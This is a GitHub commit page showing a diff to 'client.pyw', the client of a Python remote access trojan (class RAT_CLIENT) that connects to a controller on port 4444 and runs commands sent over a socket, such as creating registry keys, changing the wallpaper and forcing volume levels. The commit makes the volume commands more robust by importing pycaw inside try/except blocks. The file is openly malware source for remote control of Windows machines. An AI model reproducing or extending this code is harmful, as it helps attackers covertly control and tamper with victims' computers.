Skip to content

Commit 62a33f2

Browse files
authored
Update client.pyw
1 parent 6d59258 commit 62a33f2

File tree

1 file changed

+21
-14
lines changed

1 file changed

+21
-14
lines changed

client.pyw

Lines changed: 21 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,6 @@ from win32con import HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, GENERIC_WRI
88
from datetime import datetime
99
from ctypes import windll, cast, POINTER
1010
from comtypes import CLSCTX_ALL
11-
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
1211
from winreg import *
1312
import shutil
1413
import glob
@@ -158,20 +157,28 @@ class RAT_CLIENT:
158157
s.send("Impossible to create key".encode())
159158

160159
elif command == 'volumeup':
161-
devices = AudioUtilities.GetSpeakers()
162-
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
163-
volume = cast(interface, POINTER(IAudioEndpointVolume))
164-
if volume.GetMute() == 1:
165-
volume.SetMute(0, None)
166-
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
167-
s.send("Volume is increased to 100%".encode())
160+
try:
161+
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
162+
devices = AudioUtilities.GetSpeakers()
163+
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
164+
volume = cast(interface, POINTER(IAudioEndpointVolume))
165+
if volume.GetMute() == 1:
166+
volume.SetMute(0, None)
167+
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[1], None)
168+
s.send("Volume is increased to 100%".encode())
169+
except:
170+
s.send("Module is not founded".encode())
168171

169172
elif command == 'volumedown':
170-
devices = AudioUtilities.GetSpeakers()
171-
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
172-
volume = cast(interface, POINTER(IAudioEndpointVolume))
173-
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
174-
s.send("Volume is decreased to 0%".encode())
173+
try:
174+
from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume
175+
devices = AudioUtilities.GetSpeakers()
176+
interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None)
177+
volume = cast(interface, POINTER(IAudioEndpointVolume))
178+
volume.SetMasterVolumeLevel(volume.GetVolumeRange()[0], None)
179+
s.send("Volume is decreased to 0%".encode())
180+
except:
181+
s.send("Module is not founded".encode())
175182

176183
elif command == 'setwallpaper':
177184
pic = s.recv(6000).decode()
@@ -571,4 +578,4 @@ rat = RAT_CLIENT('127.0.0.1', 4444)
571578

572579
if __name__ == '__main__':
573580
rat.build_connection()
574-
rat.execute()
581+
rat.execute()

0 commit comments

Comments
 (0)